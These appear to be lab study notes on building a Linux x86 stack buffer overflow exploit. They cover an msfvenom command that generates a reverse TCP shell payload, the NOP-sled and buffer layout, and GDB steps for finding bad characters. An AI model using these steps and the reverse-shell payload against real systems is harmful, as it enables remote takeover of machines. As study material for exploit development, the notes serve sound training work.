Skip to content

Find the Length of the Shellcode

  • generate a shellcode
    • msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
  • it says 68 bytes but we will consider the shellcode will take 150 bytes.
  • say the NOP sleds will be 100 bytes
    • NOP sleds will be no operation bytes.
    • if the eip lands on NOP, the eip will be pushed further to find a valid OP
  • so, our buffer should be something like
  • '\x41'*786 + '\x90'*100 + 'shellcode' + 'return address'
    • 786 -> (offset) 1036 - (NOP) 100 - (shellcode) 150

Identification of Bad Characters

  • CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  • Calculate chars length
    • echo $CHARS | sed 's/\\x/ /g' | wc -w - 256 bytes
  • to find bad chars:
    • '\x41' * (1036-256) + chars + '\x42' * 4
  • break bowfunc
  • run $(python -c "print 'A'*780 + '_characters_' + 'B'*4 ")
  • x/2000xb $esp+500
    • examine memory
    • for 2000 bytes
    • in hexadecimal and byte format
    • starting from $esp+500 location. (going higher in the memory address/stack)
  • Pay attention to the errors/warnings when running a program
    • it says \x00 null byte ignored so we know that it is a bad character.
  • now while examining, we see that \x00 is skipped so we will remove that character in the next run iteration.
  • next, we see that \x09 is missing, so we'll remove that from chars as well.
    • the counter for 'A' will be 782 - MATH

  • do this recursively till there are no random null bytes or some characters are omitted.